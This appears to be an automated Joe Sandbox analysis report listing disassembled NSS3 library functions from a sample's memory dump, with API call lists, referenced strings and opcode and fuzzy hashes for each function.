PL_FreeArenaPool.NSS3(?), ref: 6C3B9024
PL_FinishArenaPool.NSS3(?), ref: 6C3B902C
PORT_DestroyCheapArena.NSS3(?), ref: 6C3B903E

Strings

security, xrefs: 6C3B8EE7

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: bb77773d8b019e01ba58f49b76cfa2794d828956bbc010dc5db2a17597400896
Instruction ID: 6552b7a2e55432f8c07bacc248fbe40d7b95ad9bf21c98f72b964f556d1f1db8
Opcode Fuzzy Hash: bb77773d8b019e01ba58f49b76cfa2794d828956bbc010dc5db2a17597400896
Instruction Fuzzy Hash: C35118B1508301ABE610DA189C41FEB77A8EBA975CF45082EF495A7F40D732D908CAA3

Function 6C47CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C47CC7B), ref: 6C47CD7A

Part of subcall function 6C47CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C3EC1A8,?), ref: 6C47CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C47CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C47CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6C47CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C47CD8E

Part of subcall function 6C3A05C0: PR_EnterMonitor.NSS3 ref: 6C3A05D1
Part of subcall function 6C3A05C0: PR_ExitMonitor.NSS3 ref: 6C3A05EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6C47CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C47CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C47CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C47CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6C47CE48

Strings

wship6.dll, xrefs: 6C47CDE3
freeaddrinfo, xrefs: 6C47CD9F, 6C47CE10
getnameinfo, xrefs: 6C47CDB2, 6C47CE23
ws2_32.dll, xrefs: 6C47CD75
getaddrinfo, xrefs: 6C47CD88, 6C47CDF9

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 956fffb62dc6cb19b0848156ec745eb8c613d9042dddbe1703f0ecb99c577ec7
Instruction ID: 82e8ff0c039b3f98eedb582d97c09a95d530b44b1f70cbf7de828bcfd4f12adb
Opcode Fuzzy Hash: 956fffb62dc6cb19b0848156ec745eb8c613d9042dddbe1703f0ecb99c577ec7
Instruction Fuzzy Hash: F711E9A5E0325152D711E7F52C09EEB3C999B1610EF190535E806D1F00FB21C5598AFF

Function 6C420C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,Bl), ref: 6C420C81

Part of subcall function 6C40BE30: SECOID_FindOID_Util.NSS3(6C3C311B,00000000,?,6C3C311B,?), ref: 6C40BE44

Part of subcall function 6C3F8500: SECOID_GetAlgorithmTag_Util.NSS3(6C3F95DC,00000000,00000000,00000000,?,6C3F95DC,00000000,00000000,?,6C3D7F4A,00000000,?,00000000,00000000), ref: 6C3F8517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C420CC4

Part of subcall function 6C40FAB0: free.MOZGLUE(?,-00000001,?,?,6C3AF673,00000000,00000000), ref: 6C40FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C420CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C420D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C420D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C420D7D
free.MOZGLUE(00000000), ref: 6C420DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C420DC1
free.MOZGLUE(00000000), ref: 6C420DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C420E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C420E0F

Part of subcall function 6C3F95C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C3D7F4A,00000000,?,00000000,00000000), ref: 6C3F95E0
Part of subcall function 6C3F95C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C3D7F4A,00000000,?,00000000,00000000), ref: 6C3F95F5
Part of subcall function 6C3F95C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C3F9609
Part of subcall function 6C3F95C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C3F961D
Part of subcall function 6C3F95C0: PK11_GetInternalSlot.NSS3 ref: 6C3F970B
Part of subcall function 6C3F95C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C3F9756
Part of subcall function 6C3F95C0: PK11_GetIVLength.NSS3(?), ref: 6C3F9767
Part of subcall function 6C3F95C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C3F977E
Part of subcall function 6C3F95C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C3F978E

Strings

*,Bl, xrefs: 6C420DCC
-$Bl, xrefs: 6C420C64
*,Bl, xrefs: 6C420C69, 6C420DE0, 6C420C80, 6C420C8B, 6C420CAF

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,Bl$*,Bl$-$Bl
API String ID: 3136566230-3988677386
Opcode ID: a66a6a39795e898dfcf55b9ad67fa8b449a7f37e13c4fa6e1c8f4994c7be0bf0
Instruction ID: f6b6d0b0eddeca268742be940800e19137f22ec28ca54c390cc142050414fa1f
Opcode Fuzzy Hash: a66a6a39795e898dfcf55b9ad67fa8b449a7f37e13c4fa6e1c8f4994c7be0bf0
Instruction Fuzzy Hash: CB41B1B1A11245ABEB00DF65DC46FAF76B4EF04309F140428ED195B752E739EA18CBE2

Function 6C416CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6C4E1DE0,?), ref: 6C416CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C416D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C416D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C416D82
DER_GetInteger_Util.NSS3(?), ref: 6C416DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C416DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C416E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C416F19
PK11_DigestBegin.NSS3(00000000), ref: 6C416F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C416F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C417011
PK11_FreeSymKey.NSS3(00000000), ref: 6C417033
free.MOZGLUE(?), ref: 6C41703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C417060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C417087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C4170AF

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 5997c9d03fbda0bdb1ecd68bf2fda95869969cab2a57fd018badce2c737f29dc
Instruction ID: 78e3c87f7d7c219d9104e4b80fe17bfbdf22654fb9c10aba64536f9359f54b5c
Opcode Fuzzy Hash: 5997c9d03fbda0bdb1ecd68bf2fda95869969cab2a57fd018badce2c737f29dc
Instruction Fuzzy Hash: 0EA1C2B195C3009BEB00CB24DC45FFA36A5EB8130DF244A39E999CAF91E775D8498793

Function 6C3DAEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C3BAB95,00000000,?,00000000,00000000,00000000), ref: 6C3DAF25
EnterCriticalSection.KERNEL32(?,?,?,?,6C3BAB95,00000000,?,00000000,00000000,00000000), ref: 6C3DAF39
PR_Unlock.NSS3(?,?,?,6C3BAB95,00000000,?,00000000,00000000,00000000), ref: 6C3DAF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6C3BAB95,00000000,?,00000000,00000000,00000000), ref: 6C3DAF69
TlsGetValue.KERNEL32 ref: 6C3DB06B
EnterCriticalSection.KERNEL32(?), ref: 6C3DB083
PR_Unlock.NSS3(?), ref: 6C3DB0A4
TlsGetValue.KERNEL32 ref: 6C3DB0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6C3DB0D9
PR_Unlock.NSS3 ref: 6C3DB102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C3DB151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C3DB182

Part of subcall function 6C40FAB0: free.MOZGLUE(?,-00000001,?,?,6C3AF673,00000000,00000000), ref: 6C40FAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C3DB177

Part of subcall function 6C45C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C45C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6C3BAB95,00000000,?,00000000,00000000,00000000), ref: 6C3DB1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6C3BAB95,00000000,?,00000000,00000000,00000000), ref: 6C3DB1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6C3BAB95,00000000,?,00000000,00000000,00000000), ref: 6C3DB1C2

Part of subcall function 6C401560: TlsGetValue.KERNEL32(00000000,?,6C3D0844,?), ref: 6C40157A
Part of subcall function 6C401560: EnterCriticalSection.KERNEL32(?,?,?,6C3D0844,?), ref: 6C40158F
Part of subcall function 6C401560: PR_Unlock.NSS3(?,?,?,?,6C3D0844,?), ref: 6C4015B2

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: e5e0fbb09c51be3cf1797eec2efd24b0144eef93e84f5c27df08b73bdf902b38
Instruction ID: b2730caf0d5bc3c289578b6466f03fc1e6e9fe9917a71ca546370815456ad287
Opcode Fuzzy Hash: e5e0fbb09c51be3cf1797eec2efd24b0144eef93e84f5c27df08b73bdf902b38
Instruction Fuzzy Hash: 04A18FB6E00205AFEF009F64DC45AEE77B4AF0530CF154129E905AA651E732E999CFE2

Function 6C3D2C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?=l,?,6C3CE477,?,?,?,00000001,00000000,?,?,6C3D3F23,?), ref: 6C3D2C62
EnterCriticalSection.KERNEL32(0000001C,?,6C3CE477,?,?,?,00000001,00000000,?,?,6C3D3F23,?), ref: 6C3D2C76
PL_HashTableLookup.NSS3(00000000,?,?,6C3CE477,?,?,?,00000001,00000000,?,?,6C3D3F23,?), ref: 6C3D2C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C3CE477,?,?,?,00000001,00000000,?,?,6C3D3F23,?), ref: 6C3D2C93

Part of subcall function 6C45DD70: TlsGetValue.KERNEL32 ref: 6C45DD8C
Part of subcall function 6C45DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C45DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C3CE477,?,?,?,00000001,00000000,?,?,6C3D3F23,?), ref: 6C3D2CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C3CE477,?,?,?,00000001,00000000,?,?,6C3D3F23,?), ref: 6C3D2CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C3CE477,?,?,?,00000001,00000000,?,?,6C3D3F23), ref: 6C3D2CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C3CE477,?,?,?,00000001,00000000,?), ref: 6C3D2CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C3CE477,?,?,?,00000001,00000000,?), ref: 6C3D2D4D
EnterCriticalSection.KERNEL32(?), ref: 6C3D2D61
PL_HashTableLookup.NSS3(?,?), ref: 6C3D2D71
PR_Unlock.NSS3(?), ref: 6C3D2D7E

Part of subcall function 6C3A07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C33204A), ref: 6C3A07AD
Part of subcall function 6C3A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C33204A), ref: 6C3A07CD
Part of subcall function 6C3A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C33204A), ref: 6C3A07D6
Part of subcall function 6C3A07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C33204A), ref: 6C3A07E4
Part of subcall function 6C3A07A0: TlsSetValue.KERNEL32(00000000,?,6C33204A), ref: 6C3A0864
Part of subcall function 6C3A07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C3A0880
Part of subcall function 6C3A07A0: TlsSetValue.KERNEL32(00000000,?,?,6C33204A), ref: 6C3A08CB
Part of subcall function 6C3A07A0: TlsGetValue.KERNEL32(?,?,6C33204A), ref: 6C3A08D7
Part of subcall function 6C3A07A0: TlsGetValue.KERNEL32(?,?,6C33204A), ref: 6C3A08FB

Strings

#?=l, xrefs: 6C3D2C43

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?=l
API String ID: 2446853827-2451052716
Opcode ID: 183c2c7ec6ef84bdf22ba4b0a9f9e065cfe49657f806bbeaf551121f05bbea02
Instruction ID: be7b436241989444a7deb85e952e3edf55b918b4adabb108ae5152209511a14d
Opcode Fuzzy Hash: 183c2c7ec6ef84bdf22ba4b0a9f9e065cfe49657f806bbeaf551121f05bbea02
Instruction Fuzzy Hash: 04519476E00205ABDB00AF24DC459AA7778FF1625CB068524EC599BB11E732FD64CBE2

Function 6C42AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C42ADB1

Part of subcall function 6C40BE30: SECOID_FindOID_Util.NSS3(6C3C311B,00000000,?,6C3C311B,?), ref: 6C40BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C42ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C42AE08

Part of subcall function 6C40B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C4E18D0,?), ref: 6C40B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C42AE25
PL_FreeArenaPool.NSS3 ref: 6C42AE63
PR_CallOnce.NSS3(6C512AA4,6C4112D0), ref: 6C42AE4D

Part of subcall function 6C334C70: TlsGetValue.KERNEL32(?,?,?,6C333921,6C5114E4,6C47CC70), ref: 6C334C97
Part of subcall function 6C334C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C333921,6C5114E4,6C47CC70), ref: 6C334CB0
Part of subcall function 6C334C70: PR_Unlock.NSS3(?,?,?,?,?,6C333921,6C5114E4,6C47CC70), ref: 6C334CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C42AE93
PR_CallOnce.NSS3(6C512AA4,6C4112D0), ref: 6C42AECC
PL_FreeArenaPool.NSS3 ref: 6C42AEDE
PL_FinishArenaPool.NSS3 ref: 6C42AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C42AEF5
PL_FinishArenaPool.NSS3 ref: 6C42AF16

Strings

security, xrefs: 6C42ADEE

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 962e6285c9f53aef1c60f9c3779a32019e796044a229dcb3a979b22e46f58f0e
Instruction ID: f65794f903763ac3f6535c6f0037d32500cba5b35884092cd4bc6dc617d3b3a5
Opcode Fuzzy Hash: 962e6285c9f53aef1c60f9c3779a32019e796044a229dcb3a979b22e46f58f0e
Instruction Fuzzy Hash: 2C4128B198421067E720DB189C4AFBA72A8EF4271DF100529EC5492F41FB3DD50ACAD7

Function 6C4CAF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C479890: TlsGetValue.KERNEL32(?,?,?,6C4797EB), ref: 6C47989E

EnterCriticalSection.KERNEL32(?), ref: 6C4CAF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6C4CAFCE
PR_SetPollableEvent.NSS3(?), ref: 6C4CAFD9
EnterCriticalSection.KERNEL32(?), ref: 6C4CAFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6C4CB00F
_PR_MD_UNLOCK.NSS3(?), ref: 6C4CB02F
_PR_MD_UNLOCK.NSS3(?), ref: 6C4CB070
PR_JoinThread.NSS3(?), ref: 6C4CB07B
free.MOZGLUE(?), ref: 6C4CB084
EnterCriticalSection.KERNEL32(?), ref: 6C4CB09B
_PR_MD_UNLOCK.NSS3(?), ref: 6C4CB0C4
PR_JoinThread.NSS3(?), ref: 6C4CB0F3
free.MOZGLUE(?), ref: 6C4CB0FC
PR_JoinThread.NSS3(?), ref: 6C4CB137
free.MOZGLUE(?), ref: 6C4CB140

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: e8bb1d66215ddffa556bb741720984bd0553b75a7208bbdd16145b2a9aaf1e04
Instruction ID: cffe3de2480864c5060f25fe245319b11e26a346ca3e46e24311b722af0a40e4
Opcode Fuzzy Hash: e8bb1d66215ddffa556bb741720984bd0553b75a7208bbdd16145b2a9aaf1e04
Instruction Fuzzy Hash: 449129B9A00601DFCB10DF15C880D8ABBB1FF55359729856DD8199BB22E732FC46CB92

Function 6C3C8DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C3C8E22
EnterCriticalSection.KERNEL32(?), ref: 6C3C8E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C3C8E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C3C8E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C3C8E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C3C8EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C3C8EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C3C8EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C3C8F00
free.MOZGLUE(?), ref: 6C3C8F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C3C8F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C3C8F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C3C8F5B
PR_Unlock.NSS3(?), ref: 6C3C8F72
PR_Unlock.NSS3(?), ref: 6C3C8F82

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: f6c86ca415d755f02d79827cac36b85d41b96fbf0e60aea9babf79998b875586
Instruction ID: 434c04c3a4351693ab5825bbfed76f89e0e36d9a7afd865fcef8c9abc9877a06
Opcode Fuzzy Hash: f6c86ca415d755f02d79827cac36b85d41b96fbf0e60aea9babf79998b875586
Instruction Fuzzy Hash: 3151C3B2F012159FE700DE68CC85D6EB7B9EF45358B15452AE8089B710E732EE458BE3

Function 6C3ECE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6C3ECE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C3ECEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6C3ECED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6C3ECEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6C3ECF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C3ECF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6C3ECF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6C3ECF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6C3ECF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6C3ECFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6C3ECFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6C3ECFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6C3ECFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6C3ED007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6C3ED021

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
